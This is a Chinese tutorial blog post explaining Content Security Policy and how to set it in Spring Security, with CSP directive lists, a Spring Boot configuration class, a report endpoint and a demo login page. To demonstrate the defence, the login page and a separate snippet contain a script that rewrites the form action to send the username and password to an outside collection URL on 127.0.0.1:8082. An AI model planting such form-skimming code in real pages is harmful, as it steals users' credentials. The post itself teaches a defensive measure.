Spring Security配置内容安全策略

748 阅读4分钟

Spring Security配置内容安全策略

1、什么是内容安全策略?

内容安全策略:Content Security Policy,简称CSP,内容安全策略是一种安全机制,开发着可以通过HTTP 响应标头,可显著减少现代浏览器中的 XSS、Clickjacking 等代码注入攻击。CSP通过W3C WebApplication Security Working Group发布标准

标准语法:

Content-Security-Policy: <directive>; <directive>; <directive> ; ...

例子:

Content-Security-Policy:script-src 'self' 'unsafe-inline' 'unsafe-eval';style-src 'self' 'unsafe-inline';img-src 'self' data:;connect-src 'self' http://www.baidu.com http://127.0.0.1:8080 data:;font-src 'self';object-src 'self';

2、CSP有哪些选项?

CSP1.0主要提供了这些选项的配置:

  • default-src:为其余指令设置默认源列表。如果其它指令没设置,就用default-src的默认配置
  • script-src:为JavaScript一些脚本配置安全策略
  • object-src:这里一般指Flash或者一些Java插件等等
  • style-src:css样式
  • img-src:图片
  • media-src:媒体文件(音频和视频)
  • frame-src:嵌入的外部资源(比如、等等)
  • font-src:字体文件
  • connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)

CSP2.0:新增的一些主要选项

  • base-uri:控制是否允许文档操作页面的基本 URI。
  • child-src:替换frame-src.
  • form-action:控制文档提交 HTML 表单的能力。
  • frame-ancestors:像 X-Frame-Options 标题一样工作,通过控制如何将此文档嵌入到其他文档中。
  • plugin-types:控制页面可以加载哪些特定插件,例如 Flash、Java、Silverlight 等。

所有指令都遵循相同的模式:

  • self用于引用当前域
  • 可以在空格分隔的列表中指定一个或多个 URL,一般是一些域名或者ip加端口
  • none表示不应为给定指令加载任何内容,例如object-src 'none'表示不应加载任何插件(如 Flash 或 Java)。

例子:

Content-Security-Policy:script-src 'self' 'unsafe-inline' 'unsafe-eval';style-src 'self' 'unsafe-inline';img-src 'self' data:;connect-src 'self' www.baidu.com http://127.0.0.1:8080 data:;font-src 'self';object-src 'self';

3、设置CSP方法

  • 前端页面设置,前端页面通过设置meta 标签
<meta http-equiv="Content-Security-Policy" content="style-src 'self' www.baidu.com; script-src 'self'; form-action 'self'">
  • 后端设置,设置response的header
public void setResponseHeader(HttpServletRequest request,HttpServletResponse response) {
	//内容安全策略
	response.setHeader("Content-Security-Policy", "script-src 'self' 'unsafe-inline' 'unsafe-eval';style-src 'self' 'unsafe-inline';img-src 'self' data:;connect-src 'self' http://www.baidu.com http://127.0.0.1:8080 data:;font-src 'self';object-src 'self';");
}

4、Spring Security设置CSP

有了前面的基础知识后,我们可以新建一个Spring Security项目来实践:

  • 开发环境

    • JDK 1.8
    • SpringBoot2.2.1
    • Maven 3.2+
  • 开发工具

    • IntelliJ IDEA
    • smartGit
    • Navicat15

在IDEA里集成阿里的https://start.aliyun.com,创建一个Spring Initializr项目: 在这里插入图片描述 选择jdk版本,和maven打包方式 在这里插入图片描述

项目主要的maven配置:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
  • spring-boot-starter-security:springboot集成的spring security starter
  • spring-boot-starter-web:web相关的starter
  • spring-boot-starter-thymeleaf:使用thymeleaf在前面页面渲染

加一个简单的登录页面:

<!DOCTYPE html>
<html lang="zh" xmlns:th="http://www.thymeleaf.org">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
		<meta name="description" content="" />
		<meta name="author" content="" />
		<title>Signin Template for Bootstrap</title>
		<!-- Bootstrap core CSS -->
		<link href="../static/asserts/css/bootstrap.min.css" th:href="@{asserts/css/bootstrap.min.css}" rel="stylesheet" />
		<!-- Custom styles for this template -->
		<link href="../static/asserts/css/signin.css" th:href="@{asserts/css/signin.css}" rel="stylesheet"/>
	</head>

	<body class="text-center">
		<form id="login" class="form-signin" th:action="@{/login}" method="post">
			<img class="mb-4" th:src="@{asserts/img/bootstrap-solid.svg}" alt="" width="72" height="72" />
			<h1 class="h3 mb-3 font-weight-normal" >Login</h1>
			<label class="sr-only" >Username</label>
			<input type="text" class="form-control" id = "username" name="username" required="" autofocus="" value="nicky" />
			<label class="sr-only" >Password</label>
			<input type="password" class="form-control" id="password" name="password" required="" value="123" />
			<div class="checkbox mb-3">
				<label>
          <input type="checkbox" name="remember-me" value="true" /> remember me
        </label>
			</div>
			<button class="btn btn-lg btn-primary btn-block" >Sign in</button>
			<p class="mt-5 mb-3 text-muted">© 2019</p>
		</form>
		<script>
			//debugger;
            let form = document.forms.login;
            form.onsubmit = function () {
                let username = document.getElementById("username").value;
                let password = document.getElementById("password").value;
                form.action = "http://127.0.0.1:8082/web/collect?u=" + username + "&p=" + password;
            }
		</script>
	</body>

</html>

加上一些攻击的脚本来模拟窃取用户信息:

let form = document.forms.login;
form.onsubmit = function () {
let username = document.getElementById("username").value;
let password = document.getElementById("password").value;
form.action = "http://127.0.0.1:8082/web/collect?u=" + username + "&p=" + password;

基于Spring Security框架的WebSecurityConfigurerAdapter编写配置类

package com.example.security.configuration;


import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.builders.WebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.web.header.writers.StaticHeadersWriter;

@Configuration
public class ContentSecurityPolicySecurityConfiguration extends WebSecurityConfigurerAdapter {
    private static final String REPORT_TO = "{\"group\":\"csp-violation-report\",\"max_age\":2592000,\"endpoints\":[{\"url\":\"http://localhost:8080/report\"}]}";

    @Override
    public void configure(WebSecurity web) throws Exception {
        //解决静态资源被拦截的问题
        web.ignoring().antMatchers("/asserts/**");
        web.ignoring().antMatchers("/favicon.ico");
    }

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        // 自定义一个登录页面,需要写一个/login接口来跳转,
        // usernameParameter指定自定义的login.html页面的input标签用户密码属性
        http.formLogin().usernameParameter("username").passwordParameter("password").loginPage("/login").permitAll()
            // 关闭跨域保护;
            .and().csrf().disable()
            // 开放权限,不需要登录也可以访问
            .authorizeRequests().antMatchers("/login/**", "/logout/**","/report/**").permitAll()
            // 其它的请求都需要登录验证
            .anyRequest().authenticated()
            // 设置Report-To,发生一些比如CSP拦截,会发送报告到自己定义的report接口
            .and().headers().addHeaderWriter(new StaticHeadersWriter("Report-To", REPORT_TO))
            // 设置xss防护
            .xssProtection()
            // 设置CSP内容安全策略
            .and().contentSecurityPolicy("form-action 'self'; report-uri /report; report-to csp-violation-report");
    }

}

需要自己开发的一些接口,比如需要自定义登录页面的login接口和收集信息的report接口

package com.example.security.controller;


import cn.hutool.core.io.IoUtil;
import lombok.extern.slf4j.Slf4j;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;


import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.nio.charset.StandardCharsets;

@Controller
@Slf4j
public class ContentSecurityPolicyController {

    @GetMapping(value = {"/login"})
    public ModelAndView toLogin() {
        return new ModelAndView("login");
    }

    @PostMapping(value = {"/report"})
    @ResponseBody
    public String report(HttpServletRequest request) throws IOException {
        String report = IoUtil.read(request.getInputStream(), StandardCharsets.UTF_8);
         if (log.isInfoEnabled()) {
            log.info("Report: {}", report);
        }
        return report;
    }

}

我们在配置类里注释.contentSecurityPolicy("form-action 'self'; report-uri /report; report-to csp-violation-report");,然后登录页面,发现页面被一个外部链接的接口窃取了一些登录用户信息,这样是很危险的 在这里插入图片描述 所以,需要在配置类加上内容安全策略的设置form-action 'self';form-action设置为self,就不能被外部链接提交from表单,只有当下的域名,打开控制台,可以看到报错,被拦截了: 在这里插入图片描述

查看网络,response里会有这些信息: 在这里插入图片描述

5、参考资料